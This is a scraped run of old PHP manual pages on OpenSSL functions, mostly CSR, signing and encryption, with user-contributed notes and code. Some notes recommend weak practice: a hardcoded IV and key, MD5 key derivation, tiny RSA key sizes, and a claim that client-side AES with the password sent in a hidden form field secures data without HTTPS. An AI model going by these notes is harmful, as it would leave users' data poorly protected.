$der_data = file_get_contents($cert_path.$der_file);
$der2pem = der2pem($der_data);

function pem2der($pem_data) {
   $begin = "CERTIFICATE-----";
   $end   = "-----END";
   $pem_data = substr($pem_data, strpos($pem_data, $begin)+strlen($begin));
   $pem_data = substr($pem_data, 0, strpos($pem_data, $end));
   $der = base64_decode($pem_data);
   return $der;
}

function der2pem($der_data) {
   $pem = chunk_split(base64_encode($der_data), 64, "\n");
   $pem = "-----BEGIN CERTIFICATE-----\n".$pem."-----END CERTIFICATE-----\n";
   return $pem;
}
?>
Richard Ablewhite 04-Dec-2006 02:23
Windows users be warned that you need the following file in system32:

msvcr71.dll

It has to go in system32, is not picked up from php/dlls
yabba dabba 26-Jul-2006 11:23
The php4 distribution for Windows/IIS has a README-SSL.txt which strongly implies that just the path needs to be added to the OPENSLL_CONF variable in the server's environment variables. Be sure to add the file name and extension too.

E.g.: c:\php-4.3.11\openssl\openssl.cnf
peter dot mescalchin @ geemail dot com 16-May-2006 01:34
For w32 users to enable OpenSSL support. As well as copying "libeay32.dll" to the windows system32 folder you also need to copy "ssleay32.dll".  The documentation above should probably be updated to note this.

This requirement was documented at the libcurl pages:

http://curl.haxx.se/libcurl/php/install.html#windows
php ~at~ wwwcrm dot komm 16-Nov-2005 08:47
If you want to use PHP for public / private key encryption jobs without needing to know the ins and outs of the Open SSL extension, the following may be of interest:

http://www.karenandalex.com/php_stuff/_class_OpenSSL.phps

This class was unavailable for a long while (server problems) but is now back up. Apologies to those who clicked through and got a 404

I hope it is useful to you...

Alex
beckman at purplecow dot com 08-Nov-2005 12:07
FreeBSD Ports tree php5-openssl uses openssl-0.9.8a.  This is a problem, as if you install these two ports and attempt to open an HTTPS URL within PHP, it will fail with this error from openssl_error_string(): error:140A90A1:SSL routines:func(169):reason(161) which is SSL_R_LIBRARY_HAS_NO_CIPHERS or "library has no ciphers"

This is because the openssl library now requires you to load your ciphers manually -- all ciphers are not automatically loaded for you.

I don't believe the php5-openssl module has been updated to do this before opening an SSL connection (as of 5.0.5).

Using openssl-0.9.7i seems to work; symlinking libcrypto.so.3 to libcrypto.so.4 prevents the php5-openssl port from trying to install openssl-0.9.8a.  So install openssl-stable (0.9.7i) from ports first, symlink 2nd, then install php5-openssl 3rd, and you should be OK.
matt at NOSPAMopenflowsPLEASE dot org 08-Nov-2005 10:42
The openssl functions were disabled in Debian release 3.0 (woody), but as of release 3.1 (sarge) they're available again.
greensweater 31-Aug-2005 04:21
Sorry, the code in my previous note doesn't work... the last line should read:

$csr = openssl_csr_new(array('commonName'=>'MyCSR'),$pkey,$config);
greensweater 30-Aug-2005 09:54
"You need to have a valid openssl.cnf installed for this function to operate correctly" includes most openssl functions. You can force php to find your openssl.cnf file as follows:

$config = array('config'=>'/path/to/openssl.cnf');
$pkey = openssl_pkey_new($config);
$csr = openssl_csr_new('MyCSR',$pkey,$config);
skippy zuavra net 20-Oct-2004 05:38
In case you're wondering what's a "correctly hashed" directory for the use with cainfo: it's simply a directory which contains CA public certificates in PEM/X.509 format. You can get such certificates either from the CA's website (they advertise it in visible places) or from your browser. In Explorer for instance you can click on the little yellow padlock, go to the CA entry and export it.

The only trick with the directory is that file names must be in the form "hash.#". The "hash" part is the 8-digit hex hash of the certificate, while the # part is a number which serves to differentiate certificates which give the same hash (yes, it can happen with certificates coming from the same CA). Usually # is 0, but you also can use 1, 2 and so on when having more certs with the same hash.

In order to obtain the hash of a certificate you can use the openssl command line utility like this:

openssl x509 -hash -in certfile.cer | head -1
jaz at ensn dot net 16-Sep-2004 11:18
For newbies (as me):
If you want to try at home on win32, you can learn how to install apache+ssl on this url: http://tud.at/programm/apache-ssl-win32-howto.php3

Versions on English, Spanish and French.

Just I have read and install and run perfectly.
norman at rasmussen dot org 02-Feb-2004 10:43
Debian maintainers have disabled the openssl support because it seems to help break apache on startup.  (http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=193343 and http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=165699)

- Norman
Certificate Verification
openssl_cipher_iv_length
OpenSSL


Gets the cipher iv length

OpenSSL Functions
openssl_csr_export_to_file
OpenSSL Functions
PHP Manual

openssl_cipher_iv_length

(PHP 5 >= PHP 5.3.3)

openssl_cipher_iv_length — Gets the cipher iv length

Description

int openssl_cipher_iv_length ( string $method )

Gets the cipher iv length.

Parameters

method

The method.

Return Values

Returns the cipher length on success, or FALSE on failure.

Errors/Exceptions

Emits an E_WARNING level error when the cipher algorithm is unknown.

Examples

Example #1 openssl_cipher_iv_length() example

<?php
$method = 'AES-128-CBC';
$ivlen = openssl_cipher_iv_length($method);

echo $ivlen;
?>

The above example will output something similar to:

16

User Contributed Notes

There are no user contributed notes for this page.
OpenSSL Functions
openssl_csr_export_to_file
OpenSSL Functions


Exports a CSR to a file

openssl_cipher_iv_length
openssl_csr_export
OpenSSL Functions
PHP Manual

openssl_csr_export_to_file

(PHP 4 >= 4.2.0, PHP 5)

openssl_csr_export_to_file — Exports a CSR to a file

Description

bool openssl_csr_export_to_file ( resource $csr , string $outfilename [, bool $notext = true ] )

openssl_csr_export_to_file() takes the Certificate Signing Request represented by csr and saves it as ascii-armoured text into the file named by outfilename.

Parameters

csr

outfilename

Path to the output file.

notext

The optional parameter notext affects the verbosity of the output; if it is FALSE, then additional human-readable information is included in the output. The default value of notext is TRUE.

Return Values

Returns TRUE on success or FALSE on failure.

See Also

  • openssl_csr_export() - Exports a CSR as a string
  • openssl_csr_new() - Generates a CSR
  • openssl_csr_sign() - Sign a CSR with another certificate (or itself) and generate a certificate

User Contributed Notes

There are no user contributed notes for this page.
openssl_cipher_iv_length
openssl_csr_export
OpenSSL Functions


Exports a CSR as a string

openssl_csr_export_to_file
openssl_csr_get_public_key
OpenSSL Functions
PHP Manual

openssl_csr_export

(PHP 4 >= 4.2.0, PHP 5)

openssl_csr_export — Exports a CSR as a string

Description

bool openssl_csr_export ( resource $csr , string &$out [, bool $notext = true ] )

openssl_csr_export() takes the Certificate Signing Request represented by csr and stores it as ascii-armoured text into out, which is passed by reference.

Parameters

csr

out

notext

The optional parameter notext affects the verbosity of the output; if it is FALSE, then additional human-readable information is included in the output. The default value of notext is TRUE.

Return Values

Returns TRUE on success or FALSE on failure.

See Also

  • openssl_csr_export_to_file() - Exports a CSR to a file
  • openssl_csr_new() - Generates a CSR
  • openssl_csr_sign() - Sign a CSR with another certificate (or itself) and generate a certificate

User Contributed Notes

carlos AT wfmh DOT org DOT pl 26-Jun-2002 07:44
Here you come with the example of how to use this function.

if( $csr = openssl_csr_new( array(
     "countryName"=>"PL",
     "stateOrProvinceName" => "blah",
     "organizationName" => "company ltd",
     "commonName"=>"foo.bar.com",
     "Email"=>"blah@foo.bar.com"), $privkey )
                  )
   {
   openssl_csr_export_to_file( $csr, "out.csr");
   }
else
   {
   printf("failed\n");
   }

Keep in mind that keys are case sensitive (i.e. give "email" instead of "Email" and you get warning). Also remember it's important to keep the order of the arguments in array. Move the "Email" above commonName and check what you get (in case you don't know how: "openssl req -noout -text -in out.csr").

It also happened to me me I got segfault when order was rubbish (afair Email after countryName, or plenty Email's here and there), so be awared.
openssl_csr_export_to_file
openssl_csr_get_public_key
OpenSSL Functions


Returns the public key of a CERT

openssl_csr_export
openssl_csr_get_subject
OpenSSL Functions
PHP Manual

openssl_csr_get_public_key

(PHP 5 >= 5.2.0)

openssl_csr_get_public_key — Returns the public key of a CERT

Description

resource openssl_csr_get_public_key ( mixed $csr [, bool $use_shortnames = true ] )
Warning

This function is currently not documented; only its argument list is available.

User Contributed Notes

php at siemenroorda dot nl 29-Sep-2009 07:44
Function openssl_pkey_get_details can read this resource. Try:

<?php
  print_r(openssl_pkey_get_details(openssl_csr_get_public_key($csr)));
?>
openssl_csr_export
openssl_csr_get_subject
OpenSSL Functions


Returns the subject of a CERT

openssl_csr_get_public_key
openssl_csr_new
OpenSSL Functions
PHP Manual

openssl_csr_get_subject

(PHP 5 >= 5.2.0)

openssl_csr_get_subject — Returns the subject of a CERT

Description

array openssl_csr_get_subject ( mixed $csr [, bool $use_shortnames = true ] )
Warning

This function is currently not documented; only its argument list is available.

User Contributed Notes

mikko koivu 21-Jul-2010 09:10
this function does not yet return SANs (subject alternative names) fields for UC certificates like those used in exchange 2007.
stephan[at]strato-rz[dot]de 21-Jan-2009 01:13
The returning assoziative array is indexed with the fields
in the subject so you should have a array key named CN,OU and so on.
openssl_csr_get_public_key
openssl_csr_new
OpenSSL Functions


Generates a CSR

openssl_csr_get_subject
openssl_csr_sign
OpenSSL Functions
PHP Manual

openssl_csr_new

(PHP 4 >= 4.2.0, PHP 5)

openssl_csr_new — Generates a CSR

Description

mixed openssl_csr_new ( array $dn , resource &$privkey [, array $configargs [, array $extraattribs ]] )

openssl_csr_new() generates a new CSR (Certificate Signing Request) based on the information provided by dn, which represents the Distinguished Name to be used in the certificate.

Note: You need to have a valid openssl.cnf installed for this function to operate correctly. See the notes under the installation section for more information.

Parameters

dn

The Distinguished Name to be used in the certificate.

privkey

privkey should be set to a private key that was previously generated by openssl_pkey_new() (or otherwise obtained from the other openssl_pkey family of functions). The corresponding public portion of the key will be used to sign the CSR.

configargs

By default, the information in your system openssl.conf is used to initialize the request; you can specify a configuration file section by setting the config_section_section key of configargs. You can also specify an alternative openssl configuration file by setting the value of the config key to the path of the file you want to use. The following keys, if present in configargs behave as their equivalents in the openssl.conf, as listed in the table below.

Configuration overrides
configargs key | type | openssl.conf equivalent | description
digest_alg | string | default_md | Selects which digest method to use
x509_extensions | string | x509_extensions | Selects which extensions should be used when creating an x509 certificate
req_extensions | string | req_extensions | Selects which extensions should be used when creating a CSR
private_key_bits | integer | default_bits | Specifies how many bits should be used to generate a private key
private_key_type | integer | none | Specifies the type of private key to create. This can be one of OPENSSL_KEYTYPE_DSA, OPENSSL_KEYTYPE_DH or OPENSSL_KEYTYPE_RSA. The default value is OPENSSL_KEYTYPE_RSA which is currently the only supported key type.
encrypt_key | boolean | encrypt_key | Should an exported key (with passphrase) be encrypted?
encrypt_key_cipher | integer | none | One of cipher constants.

extraattribs

extraattribs is used to specify additional configuration options for the CSR. Both dn and extraattribs are associative arrays whose keys are converted to OIDs and applied to the relevant part of the request.

Return Values

Returns the CSR.

Examples

Example #1 Creating a self-signed-certificate

<?php
// Fill in data for the distinguished name to be used in the cert
// You must change the values of these keys to match your name and
// company, or more precisely, the name and company of the person/site
// that you are generating the certificate for.
// For SSL certificates, the commonName is usually the domain name of
// that will be using the certificate, but for S/MIME certificates,
// the commonName will be the name of the individual who will use the
// certificate.
$dn = array(
    "countryName" => "UK",
    "stateOrProvinceName" => "Somerset",
    "localityName" => "Glastonbury",
    "organizationName" => "The Brain Room Limited",
    "organizationalUnitName" => "PHP Documentation Team",
    "commonName" => "Wez Furlong",
    "emailAddress" => "wez@example.com"
);

// Generate a new private (and public) key pair
$privkey = openssl_pkey_new();

// Generate a certificate signing request
$csr = openssl_csr_new($dn, $privkey);

// You will usually want to create a self-signed certificate at this
// point until your CA fulfills your request.
// This creates a self-signed cert that is valid for 365 days
$sscert = openssl_csr_sign($csr, null, $privkey, 365);

// Now you will want to preserve your private key, CSR and self-signed
// cert so that they can be installed into your web server, mail server
// or mail client (depending on the intended use of the certificate).
// This example shows how to get those things into variables, but you
// can also store them directly into files.
// Typically, you will send the CSR on to your CA who will then issue
// you with the "real" certificate.
openssl_csr_export($csr, $csrout) and var_dump($csrout);
openssl_x509_export($sscert, $certout) and var_dump($certout);
openssl_pkey_export($privkey, $pkeyout, "mypassword") and var_dump($pkeyout);

// Show any errors that occurred here
while (($e = openssl_error_string()) !== false) {
    echo $e . "\n";
}
?>

User Contributed Notes

The_Lost_One 18-Sep-2009 07:45
Not sure whether the "bug" (undocumented behavior) I encountered is common to other people, but this comment might save hours of painful debug:
If you can't generate a new private key using openssl_pkey_new() or openssl_csr_new(), your script hangs during the call of these functions and in case you specified a "private_key_bits" parameter, ensure that you cast the variable to an int. Took me ages to notice that.

<?php
$SSLcnf = array('config' => '/usr/local/nessy2/share/ssl/openssl.cnf',
        'encrypt_key' => true,
        'private_key_type' => OPENSSL_KEYTYPE_RSA,
        'digest_alg' => 'sha1',
        'x509_extensions' => 'v3_ca',
        'private_key_bits' => $someVariable // ---> bad
        'private_key_bits' => (int)$someVariable // ---> good
        'private_key_bits' => 512 // ---> obviously good
        );
?>
AA 28-Dec-2008 09:52
*hint* openssl_csr_new() automatically generates private key / public key pair:

<?php
$configargs = array(
    'config' => '/etc/ssl/openssl.cnf',
    'digest_alg' => 'md5',
    'x509_extensions' => 'v3_ca',
    'req_extensions'   => 'v3_req',
    'private_key_bits' => 666,
    'private_key_type' => OPENSSL_KEYTYPE_RSA,
    'encrypt_key' => false,
    );

$dn = array(
    "countryName" => "DE",
    "stateOrProvinceName" => "wubbla wubbla",
    "localityName" => "wubbla",
    "organizationName" => "Internet Widgits Pty Ltd",
    "organizationalUnitName" => "Organizational Unit Name",
    "commonName" => "example.com",
    "emailAddress" => "Email Address"
);

$privkey = null; // <--- !!

$csr = openssl_csr_new($dn, $privkey, $configargs);

var_dump(openssl_pkey_get_details($privkey));
/*
array(3) {
  ["bits"]=>
  int(666)
  ["key"]=>
  string(207) "-----BEGIN PUBLIC KEY-----
MG8wDQYJKoZIhvcN (...) gMBAAE=
-----END PUBLIC KEY-----
"
  ["type"]=>
  int(0)
}
*/
?>
main ATT jokester DOTT fr 02-Sep-2008 08:09
To set the "basicConstraints" to  "critical,CA:TRUE", you have to define configargs, but in the openssl_csr_sign() function !

That's my example of code to sign a "child" certificate :

$CAcrt = "file://ca.crt";
$CAkey = array("file://ca.key", "myPassWord");

$clientKeys = openssl_pkey_new();
$dn = array(
    "countryName" => "FR",
    "stateOrProvinceName" => "Finistere",
    "localityName" => "Plouzane",
    "organizationName" => "Ecole Nationale d'Ingenieurs de Brest",
    "organizationalUnitName" => "Enib Students",
    "commonName" => "www.enib.fr",
    "emailAddress" => "ilovessl@php.net"
);
$csr = openssl_csr_new($dn, $clientPrivKey);

$configArgs = array("x509_extensions" => "v3_req");
$cert = openssl_csr_sign($csr, $CAcrt, $CAkey, 100, $configArgs);

openssl_x509_export_to_file($cert, "childCert.crt");

Then if you want to add some more options, you can edit the "/etc/ssl/openssl.cnf" ssl config' file (debian path), and add these after the [ v3_req ] tag.
dylan at pow7 dot com 04-Jul-2007 05:45
Is there some way to change the distinguished name using this function? I have tried adding overrides to the dn to configargs and extraattribs but this did not have an impact on the certificate.

Example: A CSR is submitted and I want to change only the commonName (CN) before signing the certificate.
gonzak at op dot pl 14-Feb-2006 10:57
How in openssl_csr_new  usign [, array configargs [, array extraattribs]]
because I am have add this extension to certificate
/********************
basicConstraints = critical,CA:TRUE,pathlen:0
nsCertType = sslCA,emailCA,objCA
**********************************/

Rafal
24-Jun-2005 12:34
If you get the error:

error:0D11A086:asn1 encoding routines:ASN1_mbstring_copy:string too short

then look at your key:value pairs in the $dn (distinguished name) array.

If you have one value (like "organizationalUnitName" = "") set to an empty string, it will throw the above error.

Fix the error by either eliminating that array element from $dn completely, or using a space " " instead of an empty string.
robertliu AT wiscore DOT com 12-May-2005 08:12
I am using PHP-4.3.11.
The type of configargs--private_key_bits is a INTEGER, not a string.
An example of configration:
<?php
$config = array(
  "digest_alg" => "sha1",
  "private_key_bits" => 2048,
  "private_key_type" => OPENSSL_KEYTYPE_DSA,
  "encrypt_key" => false
);
?>
dankybastard at hotmail 09-Feb-2005 06:31
As you probably guessed from the example, the documentation is misinforming.  openssl_csr_new returns a CSR resource or FALSE on failure.

mixed openssl_csr_new (assoc_array dn, resource_privkey, [...])
openssl_csr_get_subject
openssl_csr_sign
OpenSSL Functions


Sign a CSR with another certificate (or itself) and generate a certificate

openssl_csr_new
openssl_decrypt
OpenSSL Functions
PHP Manual

openssl_csr_sign

(PHP 4 >= 4.2.0, PHP 5)

openssl_csr_sign — Sign a CSR with another certificate (or itself) and generate a certificate

Description

resource openssl_csr_sign ( mixed $csr , mixed $cacert , mixed $priv_key , int $days [, array $configargs [, int $serial = 0 ]] )

openssl_csr_sign() generates an x509 certificate resource from the given CSR.

Note: You need to have a valid openssl.cnf installed for this function to operate correctly. See the notes under the installation section for more information.

Parameters

csr

A CSR previously generated by openssl_csr_new(). It can also be the path to a PEM encoded CSR when specified as file://path/to/csr or an exported string generated by openssl_csr_export().

cacert

The generated certificate will be signed by cacert. If cacert is NULL, the generated certificate will be a self-signed certificate.

priv_key

priv_key is the private key that corresponds to cacert.

days

days specifies the length of time for which the generated certificate will be valid, in days.

configargs

You can finetune the CSR signing by configargs. See openssl_csr_new() for more information about configargs.

serial

An optional the serial number of issued certificate. If not specified it will default to 0.

Return Values

Returns an x509 certificate resource on success, FALSE on failure.

Changelog

Version | Description
4.3.3 | The serial parameter was added.

Examples

Example #1 openssl_csr_sign() example - signing a CSR (how to implement your own CA)

<?php
// Let's assume that this script is set to receive a CSR that has
// been pasted into a textarea from another page
$csrdata = $_POST["CSR"];

// We will sign the request using our own "certificate authority"
// certificate.  You can use any certificate to sign another, but
// the process is worthless unless the signing certificate is trusted
// by the software/users that will deal with the newly signed certificate

// We need our CA cert and its private key
$cacert = "file://path/to/ca.crt";
$privkey = array("file://path/to/ca.key", "your_ca_key_passphrase");

$usercert = openssl_csr_sign($csrdata, $cacert, $privkey, 365);

// Now display the generated certificate so that the user can
// copy and paste it into their local configuration (such as a file
// to hold the certificate for their SSL server)
openssl_x509_export($usercert, $certout);
echo $certout;

// Show any errors that occurred here
while (($e = openssl_error_string()) !== false) {
    echo $e . "\n";
}
?>

User Contributed Notes

tgm 31-Aug-2011 05:31
If openssl_csr_sign() works fine when self-signing, but returns FALSE when using $cacert, and there's no error message, it could have something to do with your openssl.cnf file.
In the section [ v3_ca ] there's a setting
  authorityKeyIdentifier=keyid:always,issuer:always
If you change it to
  authorityKeyIdentifier=issuer:always
the problem might be solved.
Kai Sellgren 20-Feb-2009 11:05
You can use file_get_contents() to directly pass the content instead of giving file paths.

Also, if you get an error "sec_error_reused_issuer_and_serial", put a serial into the last parameter:

<?php

$privkey = array(file_get_contents('ca.key'),"your_ca_key_passphrase");
$usercert = openssl_csr_sign($csrdata, file_get_contents('ca.crt'),$privkey,365,NULL,'06');
openssl_x509_export($usercert,$certout);
file_put_contents('serverCASigned.crt',$certout);

?>

In that above example the serial was "06".
thomas dot lussnig at bewegungsmelder dot de 11-Jul-2002 08:34
Here is an sample how to create valid X.509 Public and Private Key (cert/key).
When not using self signed the 4.2.1 segault. You need the CVS code at least for openssl.

<?
Header("Content-Type: text/plain");
$CA_CERT = "CA.cert.pem";
$CA_KEY  = "CA.key.pem";
$req_key = openssl_pkey_new();
if(openssl_pkey_export ($req_key, $out_key)) {
        $dn = array(
                "countryName"            => "DE",
                "stateOrProvinceName"    => "Frankfurt",
                "organizationName"       => "smcc.net",
                "organizationalUnitName" => "E-Mail",
                "commonName"             => "Testcert"
                );
        $req_csr  = openssl_csr_new ($dn, $req_key);
        $req_cert = openssl_csr_sign($req_csr, "file://$CA_CERT", "file://$CA_KEY", 365);
        if(openssl_x509_export ($req_cert, $out_cert)) {
                echo "$out_key\n";
                echo "$out_cert\n";
                }
        else    echo "Failed Cert\n";
        }
else            echo "FailedKey\n";
?>
eric at ypass dot net 13-Jun-2002 04:13
To generate a self-signed certificate, pass NULL as the signing certificate (2nd parameter).  For example:

$req_key = openssl_pkey_new();
$dn = array(
    "countryName" => "US",
    "stateOrProvinceName" => "Colorado",
    "organizationName" => "yPass.net",
    "organizationalUnitName" => "yPass.net",
    "commonName" => "yPass.net Root Certificate"
);
$req_csr = openssl_csr_new($dn, $req_key);
$req_cert = openssl_csr_sign($req_csr, NULL, $req_key, 365);
openssl_csr_new
openssl_decrypt
OpenSSL Functions


Decrypts data

openssl_csr_sign
openssl_dh_compute_key
OpenSSL Functions
PHP Manual

openssl_decrypt

(PHP 5 >= 5.3.0)

openssl_decrypt — Decrypts data

Description

string openssl_decrypt ( string $data , string $method , string $password [, bool $raw_input = false [, string $iv = "" ]] )

Takes a raw or base64 encoded string and decrypts it using a given method and key.

Warning

This function is currently not documented; only its argument list is available.

Parameters

data

The data.

method

The cipher method.

password

The password.

raw_input

Setting to TRUE will take a raw encoded string, otherwise a base64 string is assumed for the data parameter.

iv

A non-NULL Initialization Vector.

Return Values

The decrypted string on success or FALSE on failure.

Errors/Exceptions

Emits an E_WARNING level error if an unknown cipher algorithm is passed via the method parameter.

Emits an E_WARNING level error if an empty value is passed in via the iv parameter.

Changelog

Version | Description
5.3.3 | The iv parameter was added.

See Also

  • openssl_encrypt() - Encrypts data

User Contributed Notes

nbari at dalmp dot com 15-Jan-2012 03:52
There are cases where you need to send data in a secure way within an 'un-secure' connection, a  typically scenario of this, is a site with out SSL (no https).

For this cases you can use the GibberishAES javascript library, this library will encrypt your data before it is submitted using CBC AES encryption mode, and it is fully compatible with a standar like OpenSSL.

Example:

When displaying a form, you can set a hidden field containing a token, the one is stored on the server via sessions and is going to be used as the 'password' for encrypting the data on the user side, in help with the GibberishAES library.

In Javascript (user side):
// GibberishAES.enc(string, password)
// Defaults to 256 bit encryption
GibberishAES.enc("Made with Gibberish\n", "password");
// Outputs: "U2FsdGVkX1+21O5RB08bavFTq7Yq/gChmXrO3f00tvJaT55A5pPvqw0zFVnHSW1o"

Later when the user submits the data, you will need to decrypt the data, for that you could use the class below and use it like this:

<?php
sqAES::decrypt('password', 'U2FsdGVkX1+21O5RB08bavFTq7Yq/gChmXrO3f00tvJaT55A5pPvqw0zFVnHSW1o');
?>

That will return  the same result, that openssl would return from this command line :

echo "U2FsdGVkX1+21O5RB08bavFTq7Yq/gChmXrO3f00tvJaT55A5pPvqw0zFVnHSW1o" | openssl enc -d -aes-256-cbc -a -k password

This class currently only encrypts/decrypts AES256 but can be easily modified to feed your needs, right now it is fully compatible withe the  GibberishAES library, so you could decrypt all your users data and also send encrypted data back to the user in a secure way, all this thanks to the openssl-decrypt/openssl-encrypt functions.

<?php

class sqAES {

  /**
   * decrypt AES 256
   *
   * @param string $password
   * @param data $edata
   * @return dencrypted data
   */
  public static function decrypt($password, $edata) {
    $data = base64_decode($edata);
    $salt = substr($data, 8, 8);
    $ct = substr($data, 16);
    /**
     * From https://github.com/mdp/gibberish-aes
     *
     * Number of rounds depends on the size of the AES in use
     * 3 rounds for 256
     *        2 rounds for the key, 1 for the IV
     * 2 rounds for 128
     *        1 round for the key, 1 round for the IV
     * 3 rounds for 192 since it's not evenly divided by 128 bits
     */
    $rounds = 3;
    $data00 = $password.$salt;
    $md5_hash = array();
    $md5_hash[0] = md5($data00, true);
    $result = $md5_hash[0];
    for ($i = 1; $i < $rounds; $i++) {
      $md5_hash[$i] = md5($md5_hash[$i - 1].$data00, true);
        $result .= $md5_hash[$i];
    }
    $key = substr($result, 0, 32);
    $iv  = substr($result, 32,16);

      return openssl_decrypt($ct, 'aes-256-cbc', $key, true, $iv);
  }

  /**
   * crypt AES 256
   *
   * @param string $password
   * @param data $data
   * @return base64 encrypted data
   */
  public static function crypt($password, $data) {
    // Set a random salt
    $salt = openssl_random_pseudo_bytes(8);

    $salted = '';
    $dx = '';
    // Salt the key(32) and iv(16) = 48
    while (strlen($salted) < 48) {
      $dx = md5($dx.$password.$salt, true);
      $salted .= $dx;
    }

    $key = substr($salted, 0, 32);
    $iv  = substr($salted, 32,16);

    $encrypted_data = openssl_encrypt($data, 'aes-256-cbc', $key, true, $iv);
    return base64_encode('Salted__' . $salt . $encrypted_data);
  }

}

?>
openssl_csr_sign
openssl_dh_compute_key
OpenSSL Functions


Computes shared secret for public value of remote DH key and local DH key

openssl_decrypt
openssl_digest
OpenSSL Functions
PHP Manual

openssl_dh_compute_key

(No version information available, might only be in SVN)

openssl_dh_compute_key — Computes shared secret for public value of remote DH key and local DH key

Description

string openssl_dh_compute_key ( string $pub_key , resource $dh_key )
Warning

This function is currently not documented; only its argument list is available.

Parameters

pub_key

Public key

dh_key

DH key

Return Values

Returns computed key on success or FALSE on failure.

User Contributed Notes

There are no user contributed notes for this page.
openssl_decrypt
openssl_digest
OpenSSL Functions


Computes a digest

openssl_dh_compute_key
openssl_encrypt
OpenSSL Functions
PHP Manual

openssl_digest

(PHP 5 >= 5.3.0)

openssl_digest — Computes a digest

Description

string openssl_digest ( string $data , string $method [, bool $raw_output = false ] )

Computes a digest hash value for the given data using a given method, and returns a raw or binhex encoded string.

Warning

This function is currently not documented; only its argument list is available.

Parameters

data

The data.

method

The digest method.

raw_output

Setting to TRUE will return as raw output data, otherwise the return value is binhex encoded.

Return Values

Returns the digested hash value on success or FALSE on failure.

Errors/Exceptions

Emits an E_WARNING level error if an unknown signature algorithm is passed via the method parameter.

See Also

  • openssl_get_cipher_methods() - Gets available cipher methods

User Contributed Notes

skyblackhawk at yahoo dot it 10-Jun-2011 08:34
Example:
// $fileBuffer is buffer of file in open mode or a generic stream...
$fingerPrint = openssl_digest ($fileBuffer , "sha512");

$method parameter is one of hash_algos() array;

<? echo"<PRE>";
      var_dump(hash_algos());
      echo "</PRE>"
?>

Output:

array(42) {
  [0]=>
  string(3) "md2"
  [1]=>
  string(3) "md4"
  [2]=>
  string(3) "md5"
  [3]=>
  string(4) "sha1"
  [4]=>
  string(6) "sha224"
  [5]=>
  string(6) "sha256"
  [6]=>
  string(6) "sha384"
  [7]=>
  string(6) "sha512"
  [8]=>
  string(9) "ripemd128"
  [9]=>
  string(9) "ripemd160"
  [10]=>
  string(9) "ripemd256"
  [11]=>
  string(9) "ripemd320"
  [12]=>
  string(9) "whirlpool"
  [13]=>
  string(10) "tiger128,3"
  [14]=>
  string(10) "tiger160,3"
  [15]=>
  string(10) "tiger192,3"
  [16]=>
  string(10) "tiger128,4"
  [17]=>
  string(10) "tiger160,4"
  [18]=>
  string(10) "tiger192,4"
  [19]=>
  string(6) "snefru"
  [20]=>
  string(9) "snefru256"
  [21]=>
  string(4) "gost"
  [22]=>
  string(7) "adler32"
  [23]=>
  string(5) "crc32"
  [24]=>
  string(6) "crc32b"
  [25]=>
  string(7) "salsa10"
  [26]=>
  string(7) "salsa20"
  [27]=>
  string(10) "haval128,3"
  [28]=>
  string(10) "haval160,3"
  [29]=>
  string(10) "haval192,3"
  [30]=>
  string(10) "haval224,3"
  [31]=>
  string(10) "haval256,3"
  [32]=>
  string(10) "haval128,4"
  [33]=>
  string(10) "haval160,4"
  [34]=>
  string(10) "haval192,4"
  [35]=>
  string(10) "haval224,4"
  [36]=>
  string(10) "haval256,4"
  [37]=>
  string(10) "haval128,5"
  [38]=>
  string(10) "haval160,5"
  [39]=>
  string(10) "haval192,5"
  [40]=>
  string(10) "haval224,5"
  [41]=>
  string(10) "haval256,5"
}
openssl_dh_compute_key
openssl_encrypt
OpenSSL Functions


Encrypts data

openssl_digest
openssl_error_string
OpenSSL Functions
PHP Manual

openssl_encrypt

(PHP 5 >= 5.3.0)

openssl_encrypt — Encrypts data

Description

string openssl_encrypt ( string $data , string $method , string $password [, bool $raw_output = false [, string $iv = "" ]] )

Encrypts given data with given method and key, returns a raw or base64 encoded string

Warning

This function is currently not documented; only its argument list is available.

Parameters

data

The data.

method

The cipher method.

password

The password.

raw_output

Setting to TRUE will return as raw output data, otherwise the return value is base64 encoded.

iv

A non-NULL Initialization Vector.

Return Values

Returns the encrypted string on success or FALSE on failure.

Errors/Exceptions

Emits an E_WARNING level error if an unknown cipher algorithm is passed in via the method parameter.

Emits an E_WARNING level error if an empty value is passed in via the iv parameter.

Changelog

Version | Description
5.3.3 | The iv parameter was added.

See Also

  • openssl_decrypt() - Decrypts data

User Contributed Notes

biohazard dot ge at gmail dot com 15-Jun-2011 06:48
Many users give up with handilng problem when openssl command line tool cant decrypt php openssl encrypted file which is encrypted with openssl_encrypt function.

For example how beginner is encrypting data:

<?php

$string = 'It works ? Or not it works ?';
$pass = '1234';
$method = 'aes128';

file_put_contents ('./file.encrypted', openssl_encrypt ($string, $method, $pass));

?>

And then how beginner is trying to decrypt data from command line:

# openssl enc -aes-128-cbc -d -in file.encrypted -pass pass:123

Or even if he/she determinates that openssl_encrypt output was base64 and tries:

# openssl enc -aes-128-cbc -d -in file.encrypted -base64 -pass pass:123

Or even if he determinates that base64 encoded file is represented in one line and tries:

# openssl enc -aes-128-cbc -d -in file.encrypted -base64 -A -pass pass:123

Or even if he determinates that IV is needed and adds some string iv as encryption function`s fourth parameter and than adds hex representation of iv as parameter in openssl command line :

# openssl enc -aes-128-cbc -d -in file.encrypted -base64 -pass pass:123 -iv -iv 31323334353637383132333435363738

Or even if he determinates that aes-128 password must be 128 bits there fore 16 bytes and sets $pass = '1234567812345678' and tries:

# openssl enc -aes-128-cbc -d -in file.encrypted -base64 -pass pass:1234567812345678 -iv -iv 31323334353637383132333435363738

All these troubles will have no result in any case.

BECAUSE THE PASSWORD PARAMETER DOCUMENTED HERE IS NOT THE PASSWORD.

It means that the password parameter of the function is not the same string used as [-pass pass:] parameter with openssl cmd tool for file encryption decryption.

IT IS THE KEY !

And now how to correctly encrypt data with php openssl_encrypt and how to correctly decrypt it from openssl command line tool.

<?php

    function strtohex($x)
    {
        $s='';
        foreach (str_split($x) as $c) $s.=sprintf("%02X",ord($c));
        return($s);
    }

    $source = 'It works !';

    $iv = "1234567812345678";
    $pass = '1234567812345678';
    $method = 'aes-128-cbc';

    echo "\niv in hex to use: ".strtohex ($iv);
    echo "\nkey in hex to use: ".strtohex ($pass);
    echo "\n";

    file_put_contents ('./file.encrypted',openssl_encrypt ($source, $method, $pass, true, $iv));

    $exec = "openssl enc -".$method." -d -in file.encrypted -nosalt -nopad -K ".strtohex($pass)." -iv ".strtohex($iv);

    echo 'executing: '.$exec."\n\n";
    echo exec ($exec);
    echo "\n";

?>

